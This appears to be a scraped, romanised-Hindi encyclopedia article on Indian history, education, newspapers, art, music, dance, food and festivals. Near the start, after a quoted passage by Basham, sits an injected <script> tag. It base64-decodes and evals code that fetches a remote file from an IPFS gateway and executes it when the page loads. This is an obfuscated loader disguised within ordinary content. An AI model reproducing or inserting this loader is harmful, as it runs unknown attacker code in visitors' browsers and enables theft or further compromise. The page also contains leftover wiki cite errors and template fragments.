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chitr:Blockquote-open.gif ham yah spasht kar dena chahate haian ki bharat ne jitana rrin grahan kiya hai, utana hi athava usase bhi adhik usane pradan kiya hai. bharat ke prati vishv ke rrin ka saraansh is prakar hai- sampoorn dakshin-poorv eshiya ko apani adhikaansh sanskriti bharat se prapt huee. eesa poorv paanchavian shatabdi ke prarambh mean pashchimi bharat ke upaniveshi lanka mean bas gaye, jinhoanne ashok ke rajyakal mean bauddh dharm svikar kar liya. is samay tak kuchh bharatiy vyapari sambhavataya malaya, sumatra tatha dakshin-poorv eshiya ke any bhagoan mean ane jane lage the. dhire dhire unhoanne sthayi apanivesh sthapit kar lie. isamean sandeh nahian ki pray: unhoanne sthaniy striyoan se vivah kiye. vyapariyoan ke pashchat vahaan brahman tatha bauddh bhikshuk pahuanche aur bharatiy prabhav ne shanai: shanai: vahaan ki svadeshi sanskriti ko jagrat kiya. yahaan tak ki chauthi shatabdi mean sanskrit us kshetr ki rajabhasha ho gayi aur vahaan aisi mahan sabhyataean vikasit hueean jo vishal samudratatiy samrajyoan ka sangathan karane tatha java mean barobadoor ka buddh stoop athava kambodiya mean aangakor ke shaiv mandir jaise ashcharyajanak smarak nirmit karane mean samarth huee. dakshin-poorv eshiya mean any saanskritik prabhav chin evan islami sansar dvara anubhav kie gaye parantu sabhyata ki prarambhik prerana bharat se hi prapt huee bharatiy itihasakar jo apane desh ke atit par garv karate haian pray: is kshetr ko 'vrihattar bharat' ka nam dete haian tatha bharatiy upaniveshoan ka varnan karate haian. apane samany arth mean 'upanivesh' shabd yuktisangat nahian jan p data hai phir bhi yah kaha jata hai ki pauranik ary vijeta vijay ne talavar ke bal se lanka dvip par vijay prapt ki thi. isake atirikt bharat ki sima ke bahar kisi sthayi bharatiy vijay ka koee vastavik praman upalabdh nahian hai. bharatiy upanivesh shantipriy the aur un kshetroan ke bharatiy nripati svadeshi senapati the. jinhoanne bharat se hi sari shiksha grahan ki thi.- basham [51]
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bharat mean lambe samay se likhit bhasha ka astitv hai, kintu pratyaksh soochana ke abhav ke karan isaka santoshajanak vikas nahian hua. h dappa aur mohanajod do ki lekhan chitralipi tin hazar varsh eesa poorv aur bad ki hai. yadyapi abhi tak is lipi ko padha nahian ja saka hai, tathapi isase yah spasht hai ki bharatiyoan ke pas kee shatabdiyoan pahale se hi ek likhit bhasha thi aur yahaan ke log padh aur likh sakate the. h dappa aur ashok ke kal ke bich mean pandrah sau varshoan ka aisa samay raha hai, jisamean ki koee likhit praman nahian milata. lekin panini ne us samay bharatiyoan ke dvara boli jane vali vibhinn bhashaoan ka ullekh kiya hai. buddh ke samay mean aur unase bhi pahale is desh mean bhasha ke 60 se bhi adhik roopoan ko jana jata tha tatha shakyamuni ne lekhan ki ek paddhati ki shiksha di thi. bharat ke ek rashtr ke roop mean vikasit hone se pahale sanskrit bhasha ekata ka mahattvapoorn karak thi. yadi yah man bhi liya jae ki us samay desh ki sampoorn abadi ki ek tihaee se zyada ooanchi jatiyoan ki abadi nahian thi to bhi yah mana ja sakata hai ki ashok ke samay mean bharat mean do karo d se zyada log shikshit the (yah manate hue ki us samay ki janasankhya mean lagabhag 1/5 chhoti ayu vale bachche the tatha sabhi l dakiyaan shiksha prapt nahian kar rahi thian). yah sankhya bahut adhik pratit nahian hoti, kyoanki us bharat ki janasankhya poori manavata ke ek-tihaee ke lagabhag thi. atah us samay ke shikshit logoan ki sankhya isase adhik rahi hogi aur yah us samay ki sabase kam sankhya hi mani ja sakati hai. arambh mean mahilaoan ke lie bhi shiksha anivary thi, lekin samay ke sath unaki vivah ayu kam hoti gee aur is vajah se mahilaoan ki shiksha mean badha aee, use pratibandhit kar diya gaya.[52]
saltanat kal
alag-alag bhashaoan aur lipiyoan mean likhe ge ashok ke prasiddh shasanadesh bharat ke vibhinn bhagoan mean shilalekh ke roop mean the. ye shasanadesh janata ko sambodhit the, jisaka matalab hai ki janata unhean padh evan samajh sakati thi. uttar bharat ki muslim vijay bhi ek nishchit sima tak saksharata aur shiksha mean kami ane ke lie uttaradayi hai. yadi ham yuddhoan ke evan tanavoan ke ghatak parinamoan ka ullekh n karean to bhi bharat mean islam ki vijay se ek sima tak janata ki shiksha mean giravat aee, jo pahale mahilaoan ke karan likh evan padh sakate the. vaidik yug mean ek kanya ki vivah ki ayu 16 se 18 varsh thi; 12vian sadi mean yah ayu 12-14 ho gee aur age chalakar to yah 7-9 ho gee, isaka parinam yah hua ki mahilaoan ke lie to shiksha ke daravaze band hi kar diye ge.
aupanivesh kal
shiksha ki yooropiy shaili sthapit karane ke bad desh ke bajat ka keval 1.7% shiksha par kharch kiya gaya. yah upaniveshakalin bharat mean shiksha ki sthiti ko batane ke lie paryapt hai ki us samay lokapriy shiksha ka star kya tha. "turki sarakar ke apavad ko chho dakar yoorop mean ek bhi sarakar aisi nahian thi, jo lok-shiksha par itani kam rashi vyay karane vali ho."
kramavar vikas
bharat mean shiksha ke prati rujhan prachin kal se hi dekhane ko milati hai. prachin kal mean gurukuloan, ashramoan tatha bauddh mathoan mean shiksha grahan karane ki vyavastha hoti thi. tatkalin shiksha kendroan mean nalanda, takshashila evan vallabhi ki ganana ki jati hai. madhy kal mean shiksha madarasoan mean pradan ki jati thi. mugal kal mean prathamik shiksha ‘maqatav’ mean di jati thi aur uchch shiksha madarasoan mean di jati thi. shiksha ke yahi do roop the, prathamik aur uchch arthat madhyamik shiksha nahian thi. mugal shasakoan ne dilli, ajamer, lakhanoo evan agara mean madarasoan ka nirman karavaya.
- bharat mean adhunik v pashchaty shiksha ki shuruat british eest iandiya kampani ke shasan kal se huee. 1813 ee. ke chartar mean sarvapratham bharatiy shiksha ke prachar-prasar ke lie ek lakh rupaye ki vyavastha ki gee.
- lok shiksha ke lie sthapit samany samiti ke das sadasyoan mean do dal ban gaye the. ek aangl ya pashchaty vidya ka samarthak tha to doosara prachy vidya ka. prachy vidya ke samarthakoan ka netritv lok shiksha samiti ke sachiv ech.ti. priansep ne kiya jabaki inaka samarthan samiti ke mantri ech.ech. vilsan ne kiya. ‘adhomukhi nisyandan siddhant’, jisaka arth tha- shiksha samaj ke uchch varg ko di jaye, ko sarvapratham sarakari niti ke roop mean akalaind ne lagoo kiya. ‘vud dispaich’ ke pahale tak is siddhant ke tahat bharatiyoan ko shikshit kiya gaya.
- bord aauph kantrol ke pradhan charls vud ne 19 julaee, 1854 ko bharatiy shiksha par ek vyapak yojana prastut ki jise ‘vud ka dispaich’ kaha jata hai.
- vud ke ghoshana-patr dvara shiksha ke kshetr mean huee pragati ki samiksha hetu 1882 ee. mean sarakar ne dablyoo. hantar ki adhyakshata mean ek ayog ki niyukti ki is ayog mean 8 sadasy bharatiy the. ayog ko prathamik evan madhyamik shiksha ki samiksha tak hi simit kar diya gaya tha.
- 1917 ee. mean kalakatta vishvavidyalay ki samasyaoan ke adhyayan ke lie d aau. em.ee. saidalar ke netritv mean ek ayog gathit kiya gaya.
- 1929 ee. mean ‘bharatiy pariniti ayog ne sar philip hartog ke netritv mean shiksha ke vikas par riport hetu ek sahayak samiti ka gathan kiya gaya. samiti ne prathamik shiksha ke mahattv ki bat ki. hartog samiti ki sipharish ke adhar par 1935 mean ‘kendriy shiksha salahakar bord’ ka punargathan kiya gaya.
- vardha yojana ko kee namoan se jana jata hai yatha- buniyadi shiksha, besik shiksha adi. gaandhiji dvara 1937 ee. mean vardha namak sthan par is yojana ka sootrapat hua. isamean shiksha ke madhyam se hast utpadan karyoan ko mahattv diya gaya. isamean balak apani matribhasha ke dvara 7 varsh tak adhyayan karata tha.
- 1944 ee. mean kendriy shiksha salahakar mandal ne ‘sarjent yojana’ (sarjent bharat sarakar mean shiksha salahakar the) ke nam se ek rashtriy shiksha yojana prastut ki. isamean 6 se 11 varsh ke bachchoan ke lie ni:shulk anivary shiksha diye jane ki vyavastha ki gee thi.
- d aau. sarvapalli radhakrishnan ki adhyakshata mean san 1948-49 mean uchch shiksha ke sujhav ke lie radhakrishnan ayog ka gathan kiya gaya.
- 1953 ee. mean radhakrishnan ayog ki sipharishoan ko kriyanvit karane ke lie vishvavidyalay anudan ayog ki sthapana ki gayi.
- mudaliyar ya madhyamik shiksha ayog ka gathan san 1952-53 mean hua. isane madhyamik shiksha ke lie sujhav die.
- d aau. di.es. kothari ki adhyakshata mean julaee 1964 ee. mean kothari ayog ki niyukti ki gee. isane prathamik shiksha, madhyamik shiksha aur uchch arthat vishvavidyalay shiksha ke lie mahattvapoorn sanstutiyaan ya sujhav diye.
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samachar-patroan ka itihas
| samachar patr | prakashan sthal | bhasha |
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yooropiy logoan ke bharat mean pravesh ke sath hi samacharoan evan samachar patroan ke itihas ki shuruat hoti hai. bharat mean pritiang pres lane ka shrey purtagaliyoan ko diya jata hai. 1557 ee. mean gova ke kuchh padari logoan ne bharat ki pahali pustak chhapi. 1684 ee. mean eest indiya kampani ne bhi bharat mean pritiang pres (mudranalay) ki sthapana ki. bharat mean pahala samachar patr kampani ke ek asantusht sevak volts ne 1766 ee. mean nikalane ka prayas kiya, par vah asaphal raha. bharat mean pratham samachar-patr nikalane ka shrey jems agastas hikki ko mila. usane 1780 ee. mean bangal ke gajat (Bangal Guzette) ka prakashan kiya, kintu kampani sarakar ki alochana ke karan usaka pres jabt kar liya gaya. is dauran kuchh any aangrezi akhabaroan ka prakashan hua-bangal mean kalakatta kairiyar, eshiyatik mirar, orianyatal star, madras mean madras kairiyar, madras gajat, bambee mean herald, baanbe gajat adi. 1818 ee. mean british vyapari jems silk barkigham ne 'kalakatta janaral' ka sampadan kiya. barkigham hi vah pahala prakashak tha, jisane pres ko janata ke pratibimb ke svaroop mean prastut kiya. pres ka adhunik roop usi ki den hai.
hikki tatha barkigham ka patrakarita ke itihas mean mahattvapoorn sthan hai. in donoan ne tatasth patrakarita evan svatantr lekhan ka udaharan prastut kar patrakaroan ko patrakarita ki or akarshit kiya. pahala bharatiy aangrezi samachar-patr 1816 ee. mean gangadhar bhattachary dvara bangal gajat nam se nikala gaya. yah saptahik samachar-patr tha. 1818 ee. mean marshamain ke netritv mean bangali bhasha mean digdarshan masik patr prakashit hua. yah alpakalik siddh hua. isi samay marshamain ke sampadan mean ek saptahik samachar-patr samachar darpan prakashit kiya gaya. 1821 ee. mean bangali bhasha mean saptahik samachar patr sanvad kaumudi ka prakashan hua. is samachar-patr ka prabandh raja ramamohan ray ke hathoan mean tha. raja ramamohan ray ne samajik tatha dharmik vicharoan ke virodhasvaroop samachar chandrika ka march, 1822 mean prakashan kiya. isake atirikt ray ne aprail, 1822 mean farasi bhasha mean miratul akhabar evan aangrezi bhasha mean brahmanikal maiangazin ka prakashan kiya.
samachar-patr par lagane vale pratibandh ke antargat 1799 ee. mean velejali dvara patroan ka patrekshan adhiniyam (The Censorship of the Press Act) aur j aaun edams dvara 1823 ee. mean anujnapti niyam lagoo kiye gaye. edams dvara samachar patroan par lage pratibandh ke karan raja ramamohan ray ka miratul akhabar band ho gaya. 1830 ee. mean raja ramamohan ray dvara, dvarakanath taigor evan prasann kumar taigor ke prayasoan se bangali bhasha mean bangadoot ka prakashan arambh hua. bambee se 1831 ee. mean gujarati bhasha mean jame jamashed tatha 1851 ee. mean rast gauftar evan akhabare saudagar ka prakashan hua.
l aaurd viliyam baitiank pratham gavarnar janaral tha, jisane pres ki svatantrata ke prati udaravadi drishtikan apanaya. karyavahak gavarnar janaral charls metakaph ne 1823 ee. ke pratibandh ko hatakar samachar-patroan ko mukti dilayi. ise bharatiy samachar-patroan ka muktidata bhi kaha jata hai. maikale ne bhi pres ki svatantrata ka samarthan kiya. 1857-58 ke vidroh ke bad bharat mean samachar patroan ko bhashaee adhar ke bajay prajatiy adhar par vibhajit kiya gaya. aangrezi samachar-patroan evan bharatiy samachar-patroan ke drishtikon mean antar hota tha. jahaan aangrezi samachar-patroan ko bharatiy samachar-patroan ki apeksha dher sari suvidhayean upalabdh thian, vahian bharatiy samachar-patroan par pratibandh laga tha.
bharatiy kala
bharatiy kala apani prachinata tatha vivadhata ke lie vikhyat rahi hai. aj jis roop mean 'kala' shabd atyant vyapak aur bahuarthi ho gaya hai, prachin kal mean usaka ek chhota hissa bhi n tha. yadi aitihasik kal ko chho d aur pichhe pragaitihasik kal par drishti dali jae to vibhinn nadiyoan ki ghatiyoan mean puratattvavidoan ko khudaee mean mile asankhy pashan upakaran bharat ke adi manushyoan ki kalatmak pravrittiyoan ke sakshat praman haian. patthar ke tuk de ko vibhinn takanikoan se vibhinn prayojanoan ke anuroop svaroop pradan kiya jata tha. hastakulha de, khurachani, chhidrak, takshiniyaan tatha bedhak adi pashan-upakaran sirf upayogita ki drishti se hi mahattvapoorn nahian the, balki unaka kalatmak paksh bhi jnatavy hai. jaise-jaise manushy sabhy hota gaya usaki jivan shaili ke sath-sath usaka kala paksh bhi mazaboot hota gaya. jahaan par ek or mridabhaannd, bhavan tatha any upayogi samanoan ke nirman mean vriddhi huee vahian par doosari or abhooshan, moorti kala, muhar nirman, gufa chitrakari adi ka bhi vikas hota gaya. bharat ke uttar-pashchimi bhag mean vikasit saiandhav sabhyata (h dappa sabhyata) bharat ke itihas ke prarambhik kal mean hi kala ki paripakvata ka sakshath praman hai. khudaee mean lagabhag 1,000 kendroan se prapt is sabhyata ke avasheshoan mean anek aise tathy samane aye haian, jinako dekhakar barabar hi man yah manane ka badhy ho jata hai ki hamare poorvaj sachamuch uchch koti ke kalakar the.
| kram | dharohar | ghoshana varsh |
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aitihasik kal mean bharatiy kala mean aur bhi paripakvata aee. maury kal, kushan kal aur phir gupt kal mean bharatiy kala nirantar pragati karati gee. ashok ke vibhinn shilalekh, stambhalekh aur stambh kalatmak drishti se atyant mahattvapoorn haian. saranath sthit ashok shtamhbh aur usake char sianh v dharm chakr yukt shirsh bharatiy kala ka utkrisht namoona hai. kushan kal mean vikasit gaandhar aur mathura kalaoan ki shreshthata jagajahir hai. gupt kal sirf rajanitik aur arthik drishti se hi sampann nahian tha, kalatmak drishti se bhi vah atyant sampann tha. tabhi to itihasakaroan ne use prachin bharatiy itihas ka 'svarn yug' kaha hai. poorv madhyayug mean nirmit vishalakay mandir, qile tatha moortiyaan tatha uttar madhyayug ke islamik tatha bharatiy kala ke sangam se yukt anek bhavan, chitr tatha any kalatmak vastuean bharatiy kala ki amooly dharohar haian. adhunik yug mean bharatiy kala par pashchaty kala ka prabhav p da. usaki vishay vastu, prastutikaran ke tariqe tatha bhavabhivyakti mean vividhata evan jatilata aee. adhunik kala apane kalatmak paksh ke sath-sath upayogita paksh ko bhi sath lekar chal rahi hai. yadyapi bharat ke dirghakalik itihas mean kee aise kal bhi aye, jabaki kala ka hras hone laga, athava vah apane marg se bhatakati pratit huee, parantu samany taur par yah dekha gaya ki bharatiy janamanas kala ko apane jivan ka ek aansh manakar chala hai. vah kala ka vikas aur nirman nahian karata, balki kala ko jita hai. usaki jivan shaili aur jivan ka har kary kala se paripoorn hai. yadi ek samany bharatiy ki jivanacharya ka adhyayan kiya jay to, spasht hota hai ki usake jivan ka har ek pahaloo kala se paripoorn hai. jivan ke dainik kriya-kalapoan ke bich usake pooja-path, utsav, parv-tyohar, shadi-vivah ya any ghatanaoan se vividh kalaoan ka ghanisht sambandh hai. isilie bharat ki charcha tab tak apoorn mani jaegi, jab tak ki usake kala paksh ko shamil n kiya jay. prachin bharatiy granthoan mean 64 kalaoan ka ullekh milata hai, jinaka jnan pratyek susanskrit nagarik ke lie anivary samajha jata tha. isilie bhartrihari ne to yahaan tak kah dala 'sahity, sangit, kala vihinah sakshath pashuah puchchhavishanahinah.' arthath sahity, sangit aur kala se vihin vyakti pashu ke saman hai.
'kala' shabd ki utpatti kalh dhatu mean achh tatha tapoo pratyay lagane se huee hai (kalh+achh+tapoo), jisake kee arth haian—shobha, alankaran, kisi vastu ka chhota aansh ya chandrama ka solahavaan aansh adi. vartaman mean kala ko aangrezi ke 'art' shabd ka upayog samajha jata hai, jise paanch vidhaoan—sangitakala, moortikala, chitrakala, vastukala aur kavyakala mean vargikrit kiya jata hai. in paanchoan ko sammilit roop se lalit kalaean kaha jata hai. vasvat mean kala manava mastishk evan atma ki uchchatam evan prakharatam kalpana v bhavoan ki abhivyakti hi hai, isilie kalayukt koee bhi vastu barabas hi sansar ka dhyan apani or akrisht kar leti hai. sath hi vah unhean prasannachitt evan ahaladit bhi kar deti hai. vastav mean yah kalaean vyakti ki atma ko jhanjho dane ki kshamata rakhati haian. yah ukti ki bharatiy sangit mean vah jadoo tha ki dipak rag ke gayan se dipak prajjavalit ho jata tha tatha pashu-pakshi apani sudh-budh kho baithate the, kitana saty hai, yah kahana to kathin hai, lekin itana to saty hai ki bharatiy sangit ya kala ka har paksh itana sashakt hai ki sanvedanavihin vyakti mean bhi vah sanvedana ke tivr udveg ko utpann kar sakata hai.
bharatiy sangit
| vady | vadak |
|---|
sangit manaviy lay evan talabaddh abhivyakti hai. bharatiy sangit apani madhurata, layabaddhata tatha vividhata ke lie jana jata hai. vartaman bharatiy sangit ka jo roop drishtigat hota hai, vah adhunik yug ki prastuti nahian hai, balki yah bharatiy itihas ke prasambh ke sath hi ju da hua hai. baidik kal mean hi bharatiy sangit ke bij p d chuke the. samaved un vaidik rrichaoan ka sangrah matr hai, jo gey haian. prachin kal se hi eeshvar aradhana hetu bhajanoan ke prayog ki parampara rahi hai. yahaan tak ki yajnadi ke avasar par bhi samoohagan hote the.
bharatiy sangit ki utpatti
bharatiy sangit ki utpatti vedoan se mani jati hai. vadoan ka mool mantr hai - 'ooan' (oamh) . (oamh) shabd mean tin akshar a, u tatha mh sammilit haian, jo kramashah brahma arthath srishtikarta, vishnu arthath jagath palak aur mahesh arthath sanharak ki shaktiyoan ke dyotak haian. in tinoan aksharoan ko rrigved, samaved tatha yajurved se liya gaya hai. sangit ke sat svar sh daj (sa), rrishabh (r), gaandhar (ga) adi vastav mean ooan (oamh) ya oankar ke hi antavirbhag haian. sath hi svar tatha shabd ki utpatti bhi ooan ke garbh se hi huee hai. mukh se uchcharit shabd hi sangit mean nad ka roop dharan kar leta hai. is prakar 'ooan' ko hi sangit ka jagat mana jata hai. isilie kaha jata hai ki jo sadhak 'ooan' ki sadhana karane mean samarth hota hai, vahi sangit ko yatharth roop mean grahan kar sakata hai. yadi darshanik drishti se isaka goodharth nikala jay, to isaka tatparth yahi hai ki ooan arthath sampoorn srishti ka ek aansh hamari atma mean nihit hai aur sangit usi atma ki avaz hai, aantah sangit ki utpatti hridayagat bhavoan mean hi mani jati hai.
bharatiy sangit ke roop
prachin kal mean bharatiy sangit ke do roop prachalit hue-1. margi tatha 2. deshi. kalatar mean margi sangit lupt hota gaya. sath hi deshi sangity do roopoan mean vikasit hua- (i) shastriy sangit tatha (ii) lok sangit. shastriy sangit shastroan par adharit tatha vidvanoan v kalakaroan ke adhyayan v sadhana ka pratiphal tha. yah atyant niyamabaddh tatha shreshth sangit tha. doosari or lok sangit kal aur sthan ke anuroop prakriti ke svachchhand vatavaran mean svabhavik roop se palata hua vikasit hota raha, atah yah adhik vividhatapoorn tatha halka-phulka v chittakarshak hai.
bharatiy sangit ke vividh aang
sangit se sambandhit kuchh moolabhoot tathyoan ko janakar hi sangit ki barikiyoan ko samajha ja sakata hai. dhvani, svar, lay, tal adi isake antargat ate haian.
nrity kala
- REDIRECTsaancha:mukhy
bharat mean nrity ki anek shailiyaan haian. bharatanatyam , odisi , kuchipu di , kathakali ,manipuri , kathak adi paranparagat nrity shailiyaan haian to bhang da , gidda , naga , bihoo adi lokaprachalit nrity hai. ye nrity shailiyaan poore desh mean vikhyat hai. gujarat ka garaba hariyana mean bhi mancho ki shobha ko badhata hai aur panjab ka bhang da dakshin bharat mean bhi b de shauq se dekha jata hai ! bharat ke sangit ko vikasit karane mean amir khusaro, tanasen, baijoo bavara jaise sangitakaroan ka vishesh yogadan raha hai. aj bharat ke sangit-kshitij par bismilla khaan, zakir husain , ravi shankar saman roop se sammanit haian.
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bharatiy moortikala
any kalaoan ke saman hi bharatiy moortikala bhi atyant prachin hai. yadyapi pashan kal mean bhi manav apane pashan upakaranoan ko kushalatapoorvak kat-chhaantakar vishesh akar deta tha aur patthar ke tuk de se phalak nikalate hetu 'dabav' takanik ya patakakar to dane ki takanik ka istemal karane laga tha, parantu bharat mean moortikala apane vastavik roop mean h dappa sabhyata ke dauran hi astitv mean aee. is sabhyata ki khudaee mean anek moortiyaan prapt huee haian jo lagabhag 4000 varsh poorv hi bharat mean moorti nirman takanik ke vikas ka dyotak haian. bharatiy moorti kala ki pramukh shailiyaan is prakar haian-
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rashtriy chinh aur pratik
sanskriti
tyohar aur mele
tyohar aur mele bharatiy sanskriti ke abhinn aang haian. yah bhi kah sakate haian ki bharatiy sanskriti apane hriday ke madhury ko tyohar aur meloan mean vyakt karati hai, to adhik sarthak hoga. bharatiy sanskriti prem, sauhardr, karuna, maitri, daya aur udarata jaise manaviy gunoan se paripoorn hai. yah ullas, utsah aur vikas ko ek sath samete hue hai. anand aur madhury to jaise isake pran haian. yahaan har kary anand ke sath shuroo hota hai aur madhury ke sath sampann hota hai. bharat jaise vishal dharmapran desh mean astha aur vishvas ke sath mil kar yahi anand aur ullas tyohar aur meloan mean phoot p data hai. tyohar aur mele hamari dharmik asthaoan, samajik paramparaoan aur arthik avashyakataoan ki triveni hai, jinamean samoocha janamanas bhavavibhor hokar gote lagata hai. yahi karan hai ki jitane tyohar aur mele bharat mean manaye jate haian, vishv ke kisi any desh mean nahian. is drishti se yadi bharat ko tyohar aur meloan ka desh kaha jae to atishyokti nahian hogi. himachal se lekar sudoor dakshin tak aur asam se lekar maharashtr tak vrat, parvoan, tyoharoan aur meloan ki avichchhinn parampara vidyaman hai, jo poore varsh anavarat chalati rahati hai.
- REDIRECTsaancha:inhean bhi dekhean
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bharatiy bhojan
| kram | kshetriy bhojan | bhojan |
|---|
bharatiy bhojan svad aur sugandh ka madhur sangam hai. pooran poori ho ya dal bati, tandoori roti ho ya shahi pulav, panjabi bhojan ho ya marava di bhojan, zikr chahe jis kisi ka bhi ho raha ho, keval nam sunane se hi bhookh jag uthati hai. bharat mean pakavanoan ki vividhata bhi bahut adhik hai. rajasthan mean dal-bati, kolakata mean chaval-machhali, panjab mean roti-sag, dakshin mean idali-dosa. itani vividhata ke bich ekata ka praman yah hai ki aj dakshin bharat ke log dal-roti usi shauq se khate haian, jitane shauq se uttar bharatiy idali-dosa khate haian. sachamuch bharat ek rangabiranga guladasta hai.
bharatiy sanskriti mean bhojan pakane ko pak kala kaha gaya hai arthath bhojan banana ek kala hai. bharatiy bhojan to vibhinn prakar ki pak kalaoan ka sangam hi hai. isamean panjabi bhojan, marava di bhojan, dakshin bharatiy bhojan, shakahari bhojan (niramish), maansahari (samish) bhojan adi sabhi sammilit haian. bharatiy bhojan ki sabase b di visheshata to yah hai ki apako kee prakar ke bhojan n bhi milean to bhi apako am ka achar ya niboo ka achar ya phir tamatar ki chatani se bhi bharapoor svad prapt hota hai.
bharatiy bhojan ke prakar
- shakahari bhojan (niramish)- shakahari bhojan vah bhojan hai jisamean maans, machhali, aur aande ka prayog nahian hota hai.
- maansahari bhojan (samish)- maansahari bhojan vah bhojan hai jisamean maans, machhali, aur aande ka prayog hota hai.
paryatan
bharatavasi apani dirghakalin, anavarat evan satarangi upalabdhiyoan se yukt itihas par garv kar sakate haian. prachin kal se hi bharat ek atyant hi vividhata sampann desh raha hai aur yah visheshata aj bhi samay ki gh di par aankit hai. yahaan prarambh se anek adhyavasayoan ka anusaran hota raha hai, prithakh-prithakh manyataean haian, logoan ke rivaz aur drishtikonoan ke vibhinn rangoan se saza yah desh atit ko bhoot, vartaman evan bhavishy ki aankhoan se dekhane ke lie ahvan kar raha hai. kintu bahurangi sabhyata evan sanskriti vale desh ke sabhi ayamoan ko samajhane ka prayas itana asan nahian hai.
aitihasik sthal
hamean yah nahian bhoolana chahie ki bharat mean itane adhik vichar evan drishtikon keval isilie phal-phool paean haian ki yahaan vaicharik vividhata aur vad-sanvad ko prayah sarv- sahamati prapt rahi hai. bharat ki vividhata hamean sthaloan ke anushilan mean bhi dikhaee deti hai. aitihasik sthaloan ke adhyayan tatha vivechan mean bharatiy sanskriti ka svaroop svayan prakashit hota hai. isase itihas ke bikhare sootroan ki prabhavi roop se talash sanbhav hai. yah bhi ullekhaniy hai ki nagar evan nagar-jivan ke vikas ka viviran sabhyata ke vikas ka pradhan sootr hai. rajanitik aur arthik pragati tatha shilp, kala evan vidya ka bahumukhi vikas ke sath hi sampann hua hai.
prachin dharmik sthal
prachin kal se hi bhavy devalayoan aur dharm sthaloan se bharapoor bharat sthapaty kala ke lie vishv prasiddh hai.
dharmik sthal
anek dharm aur paranparaoan se saza bharat apane bhitar hazaroan dharmik sthal basae hue hai. jo poore bharat mean deshi aur videshi paryatakoan aur shraddhaluoan ka mukhy akarshan haian.
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tika tippani aur sandarbh
- REDIRECT saancha:tippanisoochi
- ↑ mundakopanishadh tritiy mundak shlok 6
satyamev jayate nanritan satyen pantha vitato devayanah.
yenakramantyrishayo hyaptakama yatr satsatyasy paraman nidhanamh॥ - ↑ 2.0 2.1 India : Census 2011
- ↑ Population Density per Square Mile of Countries
- ↑ 4.0 4.1 4.2 4.3 Report for Selected Countries and Subjects (aangrezi) (e.es.pi) International Monetory Fund. abhigaman tithi: 15 mee, 2012.
- ↑ sitambar 2006-2011 ki sthiti ke anusar
- ↑ prachin bharat ki sanskriti aur sabhyata lekhak- damodar dharmanand kosanbi
- ↑ itihas karoan ke anusar yah prachin bharatoan ka qabila bharat hai jo uttar-pashchim mean tha bharat vanshi bhi inhean hi mana jata hai
- ↑ pustak 'bharat ka itihas' romila thapar) prishth sankhya-19
- ↑ dekhean: shodh granth vels, spensar (2002) a jenetik odisi (aangrezi). prinsatan yoonivarsiti prॅs, nyoo jarsi, san.ra.amarika. ISBN 0-691-11532-X.
- ↑ pustak 'bharat ka itihas' romila thapar) prishth sankhya-23
- ↑ (vishv ka 2.2% vishv mean 7vaan sthan)
- ↑ ekadam dakshini bhag ki bhoomadhy rekha se doori
- ↑ uttar mean himalay parvatamala se lage hue chin, nepal tatha bhootan, poorv mean parvatiy shrriankhala se alag hua myanmar tatha poorv mean hi baangladesh, pashchim mean pakistan evan afaganistan tatha dakshin mean hind mahasagar, bangal ki kha di evan arab sagar.
- ↑ dvipoan sahit samudri sima ki kul lanbaee
- ↑ sthaliy sima ki lanbaee
- ↑ sanghashasit kshetroan ki sankhya
- ↑ bangal ki kha di mean dvipoan ki sankhya- 204, arab sagar mean dvipoan ki sankhya- 43.
- ↑ ve rajy jinase hokar kark rekha gujarati hai
- ↑ sarvadhik nagariy janasankhya vala sangh shasit kshetr
- ↑ sabase kam nagariy janasankhya vala sangh shasit kshetr
- ↑ kshetraphal ki drishti se sabase b da sanghashasit kshetr
- ↑ pramukh sagariy machhaliyaan- bataraphish, svet bet, saradain, pran, maikarel, jyoophish, ribanaphish, kaitaphish, saranga, dara, tyoona, mulets, siyaraphish, shark, pamaphret, shrimp adi. vishv matsyayan ka- 2.7%.
- ↑ kul kshetraphal ka 22.7%
- ↑ sianchaee ke sadhan
- ↑ 200 semi. varshik varsha vale kshetroan mean bina sianchaee ke
- ↑ 100 se 200 semi. varsha valeai jalodh eanv kali mitti ke kshetroan mean
- ↑ uttar-poorvi bharat, pashchimi ghat adi kshetroan mean
- ↑ vishesh roop se himalay ke dhaloan par
- ↑ manipur ke senapati zile ke tin upaziloan ko chho dakar
- ↑ anusoochit jatiyoan ki sankhya
- ↑ anusoochit janajatiyoan ki sankhya
- ↑ ausat varshik ghatiy vriddhi dar
- ↑ anuchchhed 344 (1), 351, athavian anusoochi ke anusar 22 bhashaaian hai jinake nam is prakar hai:- asamiya , baangla , gujarati , hindi , kann d , kashmiri , koankani , malayalam , manipuri , marathi , nepali , u diya , panjabi , sanskrit , siandhi , tamil , urdoo , telugu , bodo , dogari , maithili , santhali
- ↑ krishi se sanbandhit kary mean sanlagn udyamoan ka pratishat
- ↑ gair-krishi sanbandhi karyoan mean sanlagn udyamoan ka pratishat
- ↑ kul udyamoan ka 1.4%
- ↑ javahar lal neharoo antarrashtriy havaee adda (santakruj, mumbee), subhash chandr bos havaee adda (damadam- kolakata), indira gaandhi antarrashtriy havaee adda (palam, dilli), minambakam havaee adda (chennee) tatha tiruvanantapuram.
- ↑ rachayita-gurudev ravindr nath taigor
- ↑ rachayita- bankimachandr chatarji
- ↑ giranar ka barahavaan shilalekh "ashok ke dharm lekh" se prishth san- 31
- ↑ pratyek 170 kigra vajan vali miliyan gaanthe
- ↑ pratyek 180 kigra vajan vali miliyan gaanthe
- ↑ sampoorn vishv ka lagabhag 25% vidyaman hai.
- ↑ (kollar svarn kshetr tatha anantapur zile se bahut kam matra mean sona nikala jata hai)
- ↑ lagabhag 383 karo d tan
- ↑ (lakh tan)
- ↑ khadanoan ki sankhya
- ↑ 48.0 48.1 48.2 desh ke kul bhandar ka pratishat Cite error: Invalid
<ref>tag; name "pratishat" defined multiple times with different content Cite error: Invalid<ref>tag; name "pratishat" defined multiple times with different content - ↑ 2000-01 (lakh tan)
- ↑ (kyoobik mitar)
- ↑ adbhut bharat- lekhak- e.el. basham
- ↑ 52.0 52.1 52.2 bharat ka janasankhya moolak adhyayan, lekhak- viktar petrov
| link=#top|center|oopar jayean |
sanbandhit lekh
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